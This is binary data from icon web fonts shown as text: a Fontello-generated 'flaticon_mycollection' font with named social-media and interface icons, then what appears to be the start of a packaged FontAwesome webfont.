3	=,16F3$!       -    & 3 E Y  7"26=4&"26=4&"26=4&"26=4&7.#";2>54&#576732r'''	4!Y!P%+aa"??*(#g$    .% F   77162767167667>&'&'.'67>.6'.'&'&&76&'.636745&767>72?21'1&&'.#"'.'&'676(
	
	
	
.
	!	6	$		
4
	
I	

     ,,   - : G  7&763264'664'.'62>'."2>4."2".4>=Z1'(V!	$],D?	DIa)E((ERE((E)$<##<H<##<[(
	2	



	3
	(ERE((ERE(#<H<##<H<#        ,,  > ~   "2>4."'546?'&'.676&47;623?6754'>&'6.#1"#&"1&'&#".27.54>2)D)(ERE()D

	
			 			

		
'1#=H=#1',)EQE((EQE))	 

 	$$	#'

("	D*$=$$=$*D         ) 8 B L  7;26=4&#54&326&+"726&/&73126&/&7>/&'&>	

	:zz3/w.*l!_	`
HHjaaWW@
		
:				
@
7
.J
J'^	^	      , 	    ! %  337375#5#53573573#'3#73#<,C),f/3=<L9,2//f/""ٲ%#EEE    -  # . C M V _  7>?>74.&&'&7.'772.>#"&'237>.'6'/7264&"72"&46 "*L()-,/+#/""V

S 
G%
R-*%B	5+*{" 1 	:$$E    6 = z  &'&#&76.'&'&2762;6767676'&'&'&'&'&'&'&/"'6767367676756'4'&6762#	


	$&	!$!	

		
	
$	9$,9',50*&	 H)?	
       , & / A Q Z  76?6&+";26/76.#'73&"264'&+";2?6#76.#76/3&"264$=aA>@"$=0>]0 g%: /:4?,-!"Atq<>kn9<:TWQ#(N47       ,-  ! " E i j  17&54>2#"'732>4."?#".=4?622?62'";2?64/&""/&4?64/&#(EPE((E(#!%=%%=J=%Ej 8 n1	

		U#(E((EPE(%=J=%%=%!E" 8 1			

	      - 	   37?''7''7 S"G4C]
|	~<tS"4EEIJf   ."    * + ; < E N O X a b k t u      7".4>2'"2>4.#.>.!'>.'>"&462'"264&#"&462'"264&#7"&462'"264&##54>'&"&'7267#'B&&BNA''A'#<##<F;##;#				m)X	
  !

 

!
/8//8/)0))0)B


		)))Y)D"		"		    ,   & :  "2>4."&462'&"6?2>7&"&'&"26764##(##!!.!!2A
A::::040,#(##(#!.!!.!^^SS    - J \ u   72>4.#"53264&+"67>2"'5462#"'&32>4."&'.'76264'&'&&"#".'4&32676&'2?264/764&"'&"..&'-&&-#	 	5(!'0y.3!%:"5|				".6.Pr&-&G# : )!'/!69				      -   5 d e  7'77".=4&"".=326=4>226=3'22>=#"&=4.""&=#2>=463
	'!!'!A!&!A!b ' ' 

f!hh!!AAh!!hAA!h44hh44h    , ( B ] f o x   %4&'&'.#"2?;27276/>'&76&'.54>32&'&##"&'1&54>;'"264&264&""264&3"264&,.(  #$* 2&	)$ @$2v""($ 		# %
	3    3  9 F O a s  7>76&'&'6&"6.767626716'&'&76>.76.676312656&"'76676..(%G/	
!0
	'?!&(d ! $y'4*(92z
	#""`	YQ;*8   -*   
      ! " 1 A B  7#53373#5#53#3'3#5'#5537.4>2";>4.#b'o   ''N''7
'C&(ERE(&F.%?%&@&)<!%?%A4''A'AAAD'$D'$D$$:F<##<HA1 6?6 -9@6         %1       2 N O r    7#4&#523#4&#523#4&#525'.'&47>76'"7367>764'.'&##".=4?622?62'";2?64/&""/&4?64/&# ' &.##MM#"##	&&:##&&3d,		! '.&-%;$

$=%=" =3
,				    -    # W   7"264&"&4627"264&"&462&'&'&'&'&#1"+'&#";2?27;27676'67>."&'&&'&'6767677622326&'&'7lNg
  
X"282"
#\#
4



44



):!!://       --  # : E N W  %.'";26'.'5.'&;26'.'&'5'"264&"&462,,Ka4'H8!56#9I(/VC(X.H+"57(#;'$4aK,5!8H'(I9#$(CV/+H.5$!#';#3$$H  //    I    7'7'7'"&/.6?'#".6?'&>7'&>7676&/'>/7>/7>&'7>.#"'.'.?32?FP//		



.	
	


.	#F&&+	+F&&+	+fFG%..
	
/
	


.	
	
=&&**G
%&*	+F
    -,   $ - 9 E Q [ h t        726=4&"'462"&53264&"7462+3264&+"732+"&467326=4&"72#"&46"26=4&"&=462'#"26=4&"&46;7#";264&#"&46;2#"264&"&=32ILLLLQ
ILLLLQLLlL  ,%,LLlL  ,%,     -     , - 1 2 ; D E R _ ` d e k l r s y z    7"&462'"264&#".4>2'"2>4.##35"&462'"264&#".4>2'"2>4.##35'777'7'7#''#4."#4>2 ##+$$# $$+###A|F]]F%?J?%(ERE(b!!Bi$+$$+$##;.!!Bi$+$$+$##;f%%)>>):--33     , 5 e  3"'&'.767>32'&#"7>=3;#"'&''"32367>=5&'&/#'".546;5r!&
?		&!B	
	?
V#y	        --   #  "2>4.#'#"&463253"264&)E((ERE((E$$*B,(ERE((ERE(	%8%	1M      ,  # 3 =  3#"&=46;2";2>4.##"&=46;2'32>4.+o%%7++7C

%0&&0,,%%*7<7*

%060%-4-$,$        #,  4 D T d t  %#"&=4.+";2>=4&+".=4>;2;#";26=4&+"&=46;2'#";26=4&+"&=46;2#%G$$|$|G=|

|
||=G

GGG%%%%kt6,,   #,  + ;  %#"&=4.+";2>=4&'+"&=46;246;2+"&5#%G%%|%vGGX||%%%%k	|     ,,    3+3#,        ,     ;735#75##37#53733##55C!^88C!^88CCV!'CCV!'>Fh@>Fh#=)#=)        ,    # ' 7 ; U c s w        7#";26=4&#53#";26=4&#53326=4&+"73#7#";#";26=4&#5326=4&+53#";26=4&#537#"#";26=4&#5326=3#";#";26=4&#5326=4&+53326=4&+"73#t!>""><""<!><!?""?;!!;!TT^RH((2&HTy
R
((2&M TR Ty
RH((2&       ,,    ' 2 : G H  32>4."'>7#"7&'6'6767&&7&'632''>67.=(E((EQE))E%	5&+g.-&B02=
!."B!&/$G &(EQE))EQE(*04763	!6
)R	.%$-	0_
"1      -     	   % & 9 : C L M [ \ ` a  ?/7/3#5"&462#53."67#3"&46;#"2?+"&462'"264&##54.'>'3#5883 &	


	B		b

&&Vbb\77+rrr	
	??/	
/,     -  H N W ` k p z  %&+"'&+"&#"."54&+"&"27;27327327;26=;2?62#>"&'3""&46274632#"64'3"54>3+
	((	

-		$:



6	))		 &

X	 "      - S _ ` m n  %4'&/5.'&"+"327>2"&6;26=4&#"1327654'&"&>21';26=4&1C	,(	
"	

	#
&
""+


/$?"2M
""    -       1761676/6./767"67654'&'&'&'&#1";2'.54>3>4'&'&'1.'4&1'&'&74&4'#".71676766'4.6e=

I
	-	#	
	
	
	
	
	
=

>&	
)%)2+	

#	
 		"	
g
	         * . > B  7#"&46;5#"&=46;27#"&=46;2'35##"&=46;2'35#k,"2E|oo3<<7**NN;==*   , 4  %/32=4/.62546;276327632";B>b&)m6
(	
& ,,     #3533#57'57'5#'#7{`2% 5 _y{{{,2&!:!)      ,-  9  "2>4.01&#"'&'&54?>76321&'&'&'&'&)E((ERE((E[	&5 ,(ERE((ERE(?'
	'		!      ,, : G T  %''&'&'&'&'&'&#'&'17676'32?'"2>4.".4>2 	

			 		)E((ERE((E)$<##<H<##<y	+-(ERE((ERE(#<H<##<H<#        -  K  7&/.462?>'&#"+"&/.#"32676/&"#"&463231264'&
			-**&	  	%
.
C,4,!0!I"1    
    ,, % - 5 = F O X a j s  7".#"&'&";;;26=4.#5462#5462#5462'"264&"&462'"264&"&462'"264&"&462
%>O{ 5XF{i+4+x

V

F-s!X=aXj,,XF4



##     "-  ' 0 9  %4&'&"#.#"&'&#"333264&"264&"264&"!(

FEr%%QF|

	M#: %       .,   6 7  7.+33732676.#732+71+#7;>?4714'5
+m)D]/ 1	,!X "A#D+,
(
1J)#Kd#	 ..  : g  %6'.'&&7;>76'&+.76'&>76'&'&54622654&"1"&54&"264'&' 	
5$!!)	
5$!!)&, =., =. "."	 "."
y!!$5
	)!!$5
	)?.= ,.= ,l

$
%	  
  ,-   ' ) - = A Q U V  !"1'"&=46;2'5#"#'.=46;2'1'5#7#"&=46?6'35#"&=46?6'35 (ggb[[aggf[[fy$lgUcUTbUXeykY      ,  0 6 ;  72;732>574/&'#531#7#'331#"#'#'!		-()86!u	3"
))6F.N      -  2 g l q      701#"&=46;7/.=46;26;21#32'35'#"&5&74?63?#031"/&6;5#2+0177'&'&="#'"&=47563'7'01"#'"&?463'7'd3ZX2	e`5U	Q71
	40 !H;	,	0,
@\]zvr      -   &'.32676&?>Fc*L    - $ I  %.#";2.327>764%"312.327>76&'.&%	
	%
			$		%-#.x#.-       , *  754&+"#";;2?326=4&+'77W057W052-Kc55Ff   - C  %'&"#";26=54&+54&"32>=3264&+"'7;2?64)K	KU11v	KKKU11v	KK 	11 K	K 	11 K	     ,,  /  7264/3264&+764&"&"#";2?64'F!!A!!A!!A(!!A     ,    7'7'35#77'#3Q<<<<<<B<<     ,,   ) 5 ?  7"264&3"264&7#."#'.+3;5#'3'77''7#'32673d
gMF#-"2
	ȿËc."-#(2
eX    
    ,   9 = C I O Y x   7#";26=4&+"&=46;274/&+";26=>'3!"&'#"&'#3"&#546;2#54&+"#53267267267;'"&'3))	))Q--#G8k+y
8		3MNNT=




OOOOv
		

		

		


      -  =  %'&"?26&"#54&"#54&";2675462;26=4&)(> >NNhhdd|DD|M		M    ,,  *  %&'>4."34>234&'".4>2 !'0'!#:D:#"j%.((.%7":##:"7A""     $
  & * / 8 A J  %'"#";26=26?4&'&"'&"57#3'77'54&+7264&"72"&462.*;.3])#2\
 &u! 3'h},P#%\'

      %  * . 8 M e  %.#"#3267265'6327>&'77&'&'2"1.676767"7#"'>&'&#4767632.	!*"8,# $
&&0
((5$(%] 7! #%(/	#+)!$  	,-   # ' 3 ? K W c  !"3!2654&!!#";26=4&#537#";264&#";264&#";264&#";264&#";264&!ccMMf222222, PPQ;+		+		+		+		        -,     ! % & * + / 0 4 5 9 : > ? C D H L M  #;26=#"&=37"&=3'35#3#53#5;#53#5;#53#53#535#3#55
0
#YYjGGjYYjGGjYYYYjGG$$,|
	{j

j5G##G###5       ,,    7"&=#+323546;5#6vv6vvvv6vv6      ,    5!!,ԸD         3#'#7'33'#)ZjSAK)afU;6gUUoN    - F R  31"'&'1676312&'>76&''.676&'&'1"'>312#17"#6767&C##C4"S66"#
	",	,'CC',,K! t !	/#          
 /  &1'&'&'&7>7>'&'67676'&

!!"     ,-    %'&"#54&"#54&"#54&"#54&"#54&"#54&"#54&"#53264&+53264&+53264&+53264&+53264&+53264&+53264&+5264/&3!26';26/&;264&+5#")';C !sC>d+<D1vuee                                     1        F        Q      
 + f          	  *   	     	  *   	  *  	  0  	  *F  	 
 Vp  	  &flaticon_mycollectionRegularflaticon_mycollectionflaticon_mycollectionVersion 1.0flaticon_mycollectionGenerated by svg2ttf from Fontello project.http://fontello.com f l a t i c o n _ m y c o l l e c t i o n R e g u l a r f l a t i c o n _ m y c o l l e c t i o n f l a t i c o n _ m y c o l l e c t i o n V e r s i o n   1 . 0 f l a t i c o n _ m y c o l l e c t i o n G e n e r a t e d   b y   s v g 2 t t f   f r o m   F o n t e l l o   p r o j e c t . h t t p : / / f o n t e l l o . c o m                                 z	
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{ 001-left-quote002-messenger003-goodreads	004-viber005-discord006-tik-tok007-line008-magnifiying-glass	009-heart010-shuffle011-shopping-bag012-shopping-cart	013-share014-sharing015-user016-close-button017-check-symbol
018-expand
019-avatar
020-search	021-ruler022-moon023-sun024-shopping-cart-1025-shopping-cart-2026-right-chevron027-left-chevron028-down-chevron029-up-chevron030-exchange031-down-arrow032-left-arrow033-exchange-1034-right-chevron-1035-down-chevron-1036-left-chevron-1037-up-chevron-1038-undo039-free-delivery040-facebook041-twitter042-instagram043-pinterest044-linkedin
045-flickr046-behance
047-tumblr048-youtube	049-email050-vk051-vine052-soundcloud053-snapchat054-spotify
055-github056-stack-overflow
057-twitch	058-steam	059-vimeo060-xing061-whatsapp062-telegram
063-reddit064-odnoklassniki065-500px-monogram066-stumbleupon
067-wechat068-sina-weibo
069-line-1070-viber-1071-discord-1072-rss	073-slack074-slack-1075-tripadvisor076-tik-tok-1077-letter-d078-d079-blogger080-blogger-1081-delicious082-deviantart083-digg084-dribbble085-ebay
086-ebay-1087-evernote088-evernote-1089-flipboard
090-forrst091-forrst-1092-grooveshark093-grooveshark-1
094-lastfm095-myspace096-myspace-logo	097-brand	098-skype099-windows100-yahoo-logo	101-yahoo102-y103-right-quotation-sign104-deviantart-1105-transfer106-right-and-left107-exchange-2108-shopping-cart-3109-shop110-home
111-user-1112-gallery113-megaphone114-news115-newspaper116-add%117-calculation-operations-minus-sign118-x-twitter119-threads120-butterfly
121-square    PK     N\\DŬ    fonts/fontawesome-webfont.ttfnu [               PFFTMkG    GDEF  p    OS/22z@  X   `cmap
:    gasp  h   glyfM   Lhead-      6hhea
     $hmtxEy    
loca\    maxp,  8    name㗋 gh  post k  u    ːxY_<      32    32 	                 	 	                   '            @       i   3   3  s                              pyrs @                          p    U                                 ]                              y n                       2                           @                    
                                                                           z                     Z                                @    5 5             z                                  Z  Z          @                                                                    ,  _                 @                                              s                               @         	            @                        (                                     @            @      @        -   M M -  M M                  @                                 @  @  -              `   b                 $                                       6                                         4           8       " "  "  "  "  "                  @                  D         @                   ,              ,     @                                                 	     m                        )                 @    @   	                                	                                   '                      D     9                   >                              d  Y     *     	  '	   	   	   	   	   	                                             	                                                           	                                                                                   T	      	   	   	   	   	            	         	   	      	                                                 @   	     f     	                                              %                 R           E	            	      	     $                    !  k  (                   D    '	         	         %                 	                %	                                         	                                                       0  %    /       &                                                      p @  0       !"""`>N^n~.>N^n~>N^n~          !"""` !@P`p  0@P`p !@P`p \XSB1ݬ
	                                                                                                                                                                                                                                                                                       
	                                                                                        ,   ,   ,   ,   ,   ,   ,   ,   ,   ,   ,   ,   ,         t    L    T  $    l  	x  	  
T  (      d             l  ,          4    d    p  H    $  d  ,    t  (        !  "0  #   $,  $  &D  '  (  )T  *  *  ,  ,  -  .@  .  /`  /  0  0  1  2  3d  44  4  5   5  5  6   6\  6  7H  7  8  8`  8  9L  9  :h  :  ;  <p  =p  ><  >  ?h  ?  @H  @  A0  A  BX  B  Cd  C  DL  D  E  F  G0  G  H  I  J8  K  L  Md  N,  N  N  O  P`  P  Q4  Q  R  Rl  S,  S  T`  U0  W  X  Z  [@  [  \<  \  ]  ^(  ^  _  `p  b,  b  d  d  eP  e  f  g`  g  iL  i  jD  k  k  l  m@  n,  oL  p  q  r  sx  t  t  uD  {`  |   |  }  }  ~          H          l  @            l  H       T    H        `      @      $  \  X    D        T  X      D  P  ,    8    d  \                    H    x       t    X    p     d          x  t              @            \     ļ    Ÿ  Ɣ  0    d    ʨ  ˀ      ͔  x    ϰ  Ќ  ,  ш    ҈    ӌ    8  ,  ՜  `    l  H  ش  `    T  ڸ    ۔  @    l    ބ    ߬    l  p                                       4        X    $  l    (      `               	d 
 
    ,    ,   8   (  X    x | T  @    |   ! "x # #l $ $ 'h ( *L ,T .L 1t 1 2 30 3 4 5t 6T 7$ 8 9H : : ; < < ?X @ A B C D EH FH Gp HH Ix J  J K L M N@ P@ Q R SD T  UL V` V WX X4 X Z Z [d [ \| ] ^ ` aH a b cX d et fh g h i\ jx n p@ s v w x y z {h | } } \   l t  4     t  8 8  L  T         |     |     4 x   L      X (           @   l  t   $   x L L    H     Ġ T (    ʈ ˠ   ϔ l d  P  Մ x p   ڬ T T   ވ L     < H  $  l    4          P l   ,  x  p , x t  d   4   4  , h  P 	4 
    4  < , , 4 0 8 $  8  T   | !h " $L %0 &H ' ( ) *0 * + , .$ . 0 1 2@ 2 3 4t 5$ 6 9  : : ; ; <( < =4 ? @ A C D F H` H I L L L L L L L L L L L L L L L L  p       7!!!@pp p       ]    !2#!"&463!&54>3!2+@&&&&@+$(($F#+ &4&&4& x+#       +  ".4>32".4>32467632 DhgZghDDhg-iW DhgZghDDhg-iW&@(8 2N++NdN+';2N++NdN+'3
 8      !        #"'#"$&6$ rL46$܏ooo|W%r4L&V|oooܳ%        = M  %+".'&%&'3!26<.#!";2>767>7#!"&5463!2 %3@m00m@3% @:"7..7":6]^B@B^^BB^  $΄+0110+$ (	
t1%%1+`B^^B@B^^        "'.54632>324
#L</>oP$$Po>Z$_dC+I@$$@I+     "  #"'%#"&547&547%62V??V8<8yb%	I))9I	       	 +  	%%#"'%#"&547&547%62q2ZZ2IzyV)??V8<8)>~>[
2b%	I))9I	         %#!"&54>3 72  &6  }XX}.GuLlLuG. >mmUmEEm>         / ? O _ o      54&+";2654&+";2654&+";264&#!"3!2654&+";2654&+";264&#!"3!2654&+";2654&+";2654&+";267#!"&5463!2&&&&&&&&&&&& & && & &&&&&&&&& && &&&&&&&&&&&&&^BB^^B@B^@&&&&&&&&&&&& && &&&&&&&&&& && &&&&&&&&&&&&&&B^^B@B^^        / ?  #!"&5463!2#!"&5463!2#!"&5463!2#!"&5463!2 L4 4LL4 4LL4 4LL4 4LL4 4LL4 4LL4 4LL4 4L 4LL44LL4LL44LL4LL44LL4LL44LL 	        / ? O _ o    #!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2 8((88(@(88((88(@(88((88(@(88((88(@(88((88(@(88((88(@(88((88(@(88((88(@(88((88(@(8 (88((88(88((88(88((88(88((88(88((88(88((88(88((88(88((88(88((88          / ? O _  #!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2 8((88(@(88((88(@(8 8(@(88((8 8((88(@(8 8(@(88((88(@(88((8 (88((88(88((88(88((88(88((88(88((88(88((88    y     "/&4?62	62,PP&PP,jP  n #  $"'	"/&47	&4?62	62	PP&P&&P&P&P&&P&P      # + D  ++"&=#"&=46;546;232      #"'#"$&6$  @@rK56$܏ooo|W@@rjK&V|oooܳ        0  #!"&=463!2      #"'#"$&6$  @rK56$܏ooo|W@@rjK&V|oooܳ         ) 5   $&54762>54&'.7>"&5462 zz+i *bkQнQkb* j*LhLLhLzzBm +*i JyhQQhyJ i*+ mJ4LL44LL          / ? O  %+"&=46;2%+"&546;2%+"&546;2+"&546;2+"&546;2 `r@@r@@        n   4&"2#"/+"&/&'#"'&'&547>7&/.=46?67&'&547>3267676;27632 Ԗ#H
	,/1)
~'H(C
	,/1)	$HԖԖm6%2X
%	l2k	r6
[21..9Q
$
k2k	
w3[20       / ; C g  +"&546;2+"&546;2+"&546;2!3!2>!'&'!+#!"&5#"&=463!7>3!2!2 @@ @@ @@@`0

o`^BB^`5FN(@(NF5 @@@L%%Ju		@LSyuS@%44%       f  5  #!!!"&5465	7#"'	'&/&6762546;2& &??>LL>
 X 
  &&&AJ	A	J
Wh          #  #!"&5463!2!&'&!"&5!(8((88((`x
c`(8 `((88(@(8(D9 8(           ,  #!"&=46;46;2 .  6  $$ @(r^aa@@`(_^aa    2  N   C  5.+";26#!26'.#!"3!"547>3!";26/.#!2W.@@.$SS$@9I  I6>>         % =  $4&"2$4&"2#!"&5463!2?!2"'&763!463!2!2 &4&&4&&4&&48(@(88(ч::(8@6@* & & *4&&4&&4&&4& (88(@(8888)@)'&&@      $ 0  "'&76;46;232  >& $$ `
(r^aa`		@`2(^aa         $ 0  ++"&5#"&54762  >& $$ ^
?@(r^aa`?		(^aa         #  !.'!!!%#!"&547>3!2<<<_@`&&
5@5
@&&>=(""=       '   #"'&5476.  6  $$    ! (r^aaJ	%%(_^aa     3  #!"'&?&#"3267672#"$&6$3276 &@*hQQhwI
	mʬzzk)' @&('QнQh_
	
z8zoe      $ G   !"$'"&5463!23267676;2#!"&4?&#"+"&= !2762@hk4&&&GaF*&@&ɆF*Ak4&nf&&&4BHrd@&&4rdMoe&            / ? O _ o   +"&=46;25+"&=46;25+"&=46;2#!"&=463!25#!"&=463!25#!"&=463!24&#!"3!26#!"&5463!2@@@@@@@@@@^B@B^^BB^`@@@@@@@@@@@@3@MB^^B@B^^         !54&"#!"&546;54   32@ Ԗ@8(@(88( p (8 jj(88(@(88   @   7  +"&5&5462#".#"#"&5476763232>32@@@@KjKך=}\I&:k~&26]S& H&&H5KKut,4,	& x:;*4*&        K  #+"&546;227654$ >3546;2+"&="&/&546$ <X@@Gv"DװD"vG@@X<4L41!Sk @ G<_bb_<G  kS!1zz          "'!"&5463!62 &4&&M4&&M&&M&          -  "'!"&5463!62 #"&54>4.54632 &4&&M4&UF
&""""&
F&M&&M&%/B/%      G  - I k  "'!"&5463!62 #"&54>4.54632#"&54767>4&'&'&54632#"&547>7676'&'.'&54632 &4&&M4&UF
&""""&
FU&'8JSSJ8'&&'.${{$.'&&M&&M&%/B/%7;&'66'&;4[&$[2[$&[              # / 3 7  #5#5!#5!!!!!!!#5!#5!5##!35!!!                        # ' + / 3 7 ; ?  3#3#3#3#3#3#3#3#3#3#3#3#3#3#3#3#3????  ^>>~??????~??~??^??^^?  ^??          4&"2#"'.5463!2KjKKjv%'45%5&5L45&%jKKjK@5%%%%54L5&6'      k   5   4&"2#"'.5463!2#"&'654'.#32KjKKjv%'45%5&5L45&%%'4$.%%5&55&%jKKjK@5%%%%54L5&6'45%%%54'&55&6'  
y T d t  #!"&'&74676&7>7>76&7>7>76&7>7>76&7>7>63!2#!"3!2676'3!26?6&#!"3!26?6&#!"g(sAeM,*$/!'&JP$G]
x6,&`h`"9Hv@WkNC<.
&k&
("$p"	.#u&#	%!'	pJvwEF#@@        2#"'	#"'.546763!''!0#GG$/!''!	8""8 X!	8"	"8	          <  )!!#"&=! 4&"27+#!"&=#"&546;463!232(8&4&&48(@(8qO@8((`(@Oq 8(&4&&4&@`(88(Oq (8(`( q      ! )   2"&42#!"&546;7>3!2      Ijjjj3e5 5e3gr`Ijjjj1GG1r        P  2327&7>7;"&#"4?2>54.'%3"&#"#ժ!9&WB03&K5!)V?@L'	>R>e;&L::%P>vO
'h N_":-&+#
:	'	      + a  %3 4'.#"32>54.#"7>7><5'./6$3232#"&#"+JBx)EB_I:I*CRzb3:dtB2P$$5.3bZF|\8!-T>5Fu\,,jn OrB,<!
54wJ]?tTFi;23j.p^%/2+	S:T}K4W9: #ƕdfE     :  7>7676'5.'732>7"#"&#&#"OAzj=N!}:0e%	y+tD3~U#B4#g		'2
%/!:T	bRU,7        }  %2"/&6;#"&?62+326323!2>?23&'.'.#"&"$#"#&=>764=464.'&#"&'!~:~!PP!~:~!P6,,$$%*'c2N 	
($"LA23Yl!x!*%% %% pP,T	NE	Q7^oH!+(
3	 *Ueeuwg      a   32632$?23&'.5&'&#"&"5$#"#&=>7>4&54&54>.'&#"&'2#".465!#".'&47>32!4&4>Q6,,Fa w!*'
=~Pl*	
($"LA23Yl	)!*<7@@7< <7@@7<  pP,T	MFQ747ƢHoH!+(
3	 tJHQ6wh',686,'$##$',686,'$##$          / ?  %#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2 &&&&& && & & && &&&&&&&&&f&&&&f&&&&f&&&&          / ?  %#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2 &&&&&&&& &&&&&&&&&&&&f&&&&f&&&&f&&&&          / ?  %#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2 &&&&& && && && &&&&&&&&&f&&&&f&&&&f&&&&            / ?  %#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2 &&&&&&&&&&&&&&&&&&&&f&&&&f&&&&f&&&&            / ? O _ o   %+"&=46;2+"&=46;2+"&=46;2#!"&=463!2+"&=46;2#!"&=463!2#!"&=463!2#!"&=463!2  @  @@@sssss          / ? O  #"'&47632#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2			 	@@@@	 		 	sss         / ? O   #"&54632	#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2`			 @@@@		@		sss           #"'#!"&5463!2632 'mw@www'*wwww          .   "&462!5	!"3!2654&#!"&5463!2pppp@  @^BB^^B@B^ppp@@  @ @B^^BB^^   k    %  !7'34#"3276'	!7632k[[v

6`%`$65&%[[k
`5%&&'          4&"2"&'&54    Ԗ!?H?!,,ԖԖ mF!&&!Fm,        %"  $$  ^aa`@^aa           -  4'.'&"26%   547>7>2 "KjK XQqYn	243nYqQ$!+!77!+!$5KK,ԑ	]""]ً	        9 > H  7'3 &7#!"&5463!2'&#!"3!26=4?6	!762xtt`   ^Qwww@?61B^^B@B^	@(` `\\\P`tt8`  ^Ͼww@w1^BB^^B~	@` \ \P          + Z  #!"&5463!12+"3!26=47676#"'&=# #"'.54>;547632www M8
pB^^B@B^'sw-

9*##;Noj'#ww@w"^BB^^B
	*"g`81T`PSA:'*4       / D  #!"&5463!2#"'&#!"3!26=4?632"'&4?62	62www@?61
B^^B@B^	@
BRnBBn^ww@w1
^BB^^B	@
BnnB          C   "&=!32"'&46;!"'&4762!#"&4762+!5462  4&& 4 &&4  4&& 4 &&4 4 &&4  4&& 4 &&4  4&&        6'&'+"&546;267:	&&&&	s@	
Z&&&&Z
	     +  6'&''&'+"&546;267667:	:	&&&&		s@	
:	
Z&&&&Z
	:
	  z   6'&''&47667S:	:	s@	
:4:
	    |   	&546h!!0a$           #!"&5463!2#!"&5463!2 & && && && &@&&&&&&&&          #!"&5463!2 &&&&@&&&&         &54646&5-	:	s:	
:4:
	        +  &5464646;2+"&5&5-		&&&&	:	s:	
:	
&&&&
	:
	         &54646;2+"&5-	&&&&	s:	
&&&&
	          62#!"&!"&5463!24@&&&&-:& && &        	"'&476244444     Zf   	"/&47	&4?62S44444       # /  54&#!4&+"!"3!;265!26  $$ & && && && &@^aa@& && && && &+^aa        54&#!"3!26  $$ & && &@^aa@&&&&+^aa       + 7  4/7654/&#"'&#"32?32?6  $$ }ZZZZ^aaZZZZ^aa      #  4/&"'&"327> $$ [4h4[j^aa"ZiZJ^aa      : F  %54&+";264.#"32767632;265467>$ $$  oW	5!"40K(0?i+! ":^aaXRdD4!&.uC$=1/J=^aa       . :  %54&+4&#!";#"3!2654&+";26 $$  ```^aa ^aa      / _  #"&=46;.'+"&=32+546;2>++"&=.'#"&=46;>7546;232m&&m l&&l m&&m l&&ls&%&&%&&%&&%& &&l m&&m l&&l m&&m ,&%&&%&&%&&%&        # / ;  "/"/&4?'&4?627626.  6  $$ I














͒(r^aaɒ














(_^aa           ,  	"'&4?6262.  6  $$ Z4f44fz(r^aaZ&4ff4(_^aa        	  "  4'32>&#"  $&6$  WoɒV󇥔 zzz8YW˼[?zz:zz   @5 K    #!#"'&547632!2 A4@%&&K%54'u%%&54&K&&4A5K$l$L%%%54'&&J&j&K    5K    #"/&47!"&=463!&4?632%u'43'K&&%@4AA4&&K&45&%@6%u%%K&j&%K55K&$l$K&&u#   5K@ !  #"'+"&5"/&547632K%K&56$K55K$l$K&&#76%%53'K&&%@4AA4&&K&45&%%u'     5K "  #"'&54?63246;2632K%u'45%u&&J'45%&L44L&%54'K%5%t%%$65&K%%4LL4@&%%K'      ,   "&5#"#"'.'547!3462  4&bqb>#5&4 4 & 6Uue7D#		"ǆ &        /   #!"&546262"/"/&47'&463!2
&@&&4L

r&4

r

L&&
4&&&L

rI@&

r

L4&&     s  /  "/"/&47'&463!2 #!"&546262 &4

r

L&&
&@&&4L

r@@&

r

L4&&
4&&&L

r         #  #!+"&5!"&=463!46;2!28(`8((8`(88(8((8(8 (8`(88(8((8(88(`8          #!"&=463!28(@(88((8 (88((88   z 5  '%+"&5&/&67-.?>46;2%6.@g.L44L.g@.
.@g.
L44L
.g@.g.n.4LL43.n.gg.n.34LL4͙.n.g        -     $54&+";264'&+";26/a^



^aafm
        @    J  %55!;263'&#"$4&#"32+#!"&5#"&5463!"&46327632#!2$$8~+(888(+}(`8((8`]]k==k]]8,8e8P88P8`(88(@MM        N   4&#"327>76$32 #"'.#"#"&'.54>54&'&54>7>7>32 &z&^&./+>+)>J>	Wm7'
'"''? &4&c&^|h_bml/J@L@#*#M6:D
35sҟw$	'%
'	\t          3  #!"&=463!2'.54>54''@ 1O``O1CZZ71O``O1BZZ7@@N]SHH[3`)TtbN]SHH[3^)Tt           ! 1  &'   547 $ 4&#"2654632    '&476   ==嘅}(zVl''ٌ@uhyyhu9(}VzD##D#     	  = C U  %7.547 4&#"2654632% #"'&547.'&476 !27632#76$7&'7+NWb=嘧}(zVj\i1
z,XY[6
$!%'FuJiys?_9ɍ?kyhun(}VzYF
KA؉La
02-F"@Qsp@_        ! 3  %54&+";264'&+";26#!"&'&7>2 

 #%;" ";%# <F<7
??""??$$     ll 2  #"'&'	+&/&'&?632	&'&?67>`,@L5`		
`	L`4LH``	a	5L@              # 3 7 ; ? O s  !!!!%!!!!%!!!!!!!!%!!4&+";26!!%!!!!74&+";26%#!"&546;546;2!546;232 `@ `@ @@  @@@ @  @@L44LL4^B@B^^B@B^4L  @@@@      @@  @@   M 4LL4 4L`B^^B``B^^B`L        7 q  .+"&=46;2 #"&=".'673!54632#"&=!"+"&=46;2>767>3!54632<M33K,		 j8Z4L2B4:;M33K, ?			 0N<* .)C=W]xD0N<* .)C=W]xD ?\-7H)		".=']-7H)
w		<?.>mBZxPV3!<?.>mBZxPV3!
         &   #"'&'5&6&>7>7&54>$32 dFK1A
0)L.٫C58.H(Ye      # 3 C   $=463!22>=463!2#!"&5463!2#!"&5463!2 H&&/<R.*.R</&& &&&& &&&&Bɀ&&4L&&L4&&f&&&&&&&&     Z     %"'	"/&4762444ͥ55     Z   	"'&4?62	6244455        % K  %#!".<=#"&54762+!2"'&546;!"/&5463!232 @&@<@&@	:&	& 
&&
&	
`&          :  $"&462"&462!2#!"&54>7#"&463!2!2LhLLhLhLLh!&& &&& &4hLLhLLhLLhL %z<
